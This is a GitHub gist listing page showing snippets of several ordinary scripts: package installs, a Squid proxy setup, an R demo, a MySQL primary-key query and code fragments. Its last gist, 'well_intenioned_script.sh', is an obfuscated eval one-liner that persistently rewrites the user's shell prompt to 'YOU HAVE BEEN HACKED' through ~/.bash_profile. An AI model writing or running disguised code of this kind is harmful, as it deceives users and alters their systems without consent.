Jorge Silva thejsj
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | apt-key add - | |
| apt-get update | |
| apt-get install postgresql-client -y |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Install Basilica | |
| install.packages("https://storage.googleapis.com/basilica-r-client/basilica_0.0.2.tar.gz", repos=NULL) | |
| library(basilica) | |
| # Create a connection | |
| conn = connect(auth_key="SLOW_DEMO_KEY") | |
| # Change the working directory | |
| # Besure to download the demo file first | |
| # wget https://storage.googleapis.com/basilica-public/cats_dogs_demo.tgz |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import tweepy | |
| import requests | |
| SOCIALSTREAM_API_KEY = "" | |
| CAMPAIGN_ID = "" | |
| CONSUMER_KEY = "" | |
| CONSUMER_SECRET = "" | |
| ACCESS_TOKEN = "" | |
| ACCESS_TOKEN_SECRET = "" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| apt-get --only-upgrade install squid | |
| apt -y install squid apache-utils | |
| systemctl start squid | |
| systemctl enable squid | |
| mv /etc/squid/squid.conf /etc/squid/squid.conf.backup | |
| echo "PASSWORD" | htpasswd -b -i -c /var/spool/squid/passwords squid_username | |
| GATEWAY=$(curl -s http://169.254.169.254/metadata/v1/interfaces/public/0/anchor_ipv4/address) | |
| cat <<EOT > /etc/squid/squid.conf |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package main | |
| import ( | |
| "fmt" | |
| "reflect" | |
| "sort" | |
| ) | |
| func sum(nums []int) int { | |
| total := 0 |
thejsj
/ find-no-primary-key.sql
Created
October 7, 2020 19:00
Find all mysql tables with no primary key. Used to migrate old databases into Digital Ocean managed MySQL.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| SELECT table_schema ,table_name FROM information_schema.columns | |
| WHERE table_schema <> 'sys' AND table_schema <> 'information_schema' AND table_schema <> 'mysql' AND table_schema <> 'performance_schema' | |
| GROUP BY table_schema ,table_name | |
| HAVING sum(if (column_key in ('PRI', 'UNI'), 1, 0)) = 0; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import React, { useState } from "react"; | |
| import { v4 as uuidv4 } from 'uuid'; | |
| import { | |
| BrowserRouter as Router, | |
| Switch, | |
| Route, | |
| Link | |
| } from "react-router-dom"; | |
| export default function App() { |
thejsj
/ well_intenioned_script.sh
Last active
March 25, 2021 17:03
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| z=" | |
| ";Pz='port';Mz='ll';Oz=' '\''ex';Gz='h_pr';Tz='VE B';bz='_pro';Bz='/.ba';Rz='="YO';Kz='>/de';iz='ash_';Dz='romp';Vz='HACK';gz=' >> ';Uz='EEN ';Wz='ED:\';Ez='t ~/';Xz='n$ "';lz='sour';kz='ile';Qz=' PS1';mz='ce ~';dz=' '\''so';nz='rofi';Lz='v/nu';Fz='.bas';Jz='y 2';az='bash';Hz='ompt';Zz=' ~/.';Cz='sh_p';fz='mpt'\''';Az='mv ~';hz='~/.b';Nz='echo';oz='le 2';Iz='.cop';Yz=''\'' >>';pz='t';ez='urce';Sz='U HA';jz='prof';cz='mpt'; | |
| eval "$Az$Bz$Cz$Dz$Ez$Fz$Gz$Hz$Iz$Jz$Kz$Lz$Mz$z$Nz$Oz$Pz$Qz$Rz$Sz$Tz$Uz$Vz$Wz$Xz$Yz$Zz$az$bz$cz$z$Nz$dz$ez$Zz$az$bz$fz$gz$hz$iz$jz$kz$z$lz$mz$Bz$Cz$nz$oz$Kz$Lz$Mz$z$lz$mz$Bz$Cz$Dz$pz" |
OlderNewer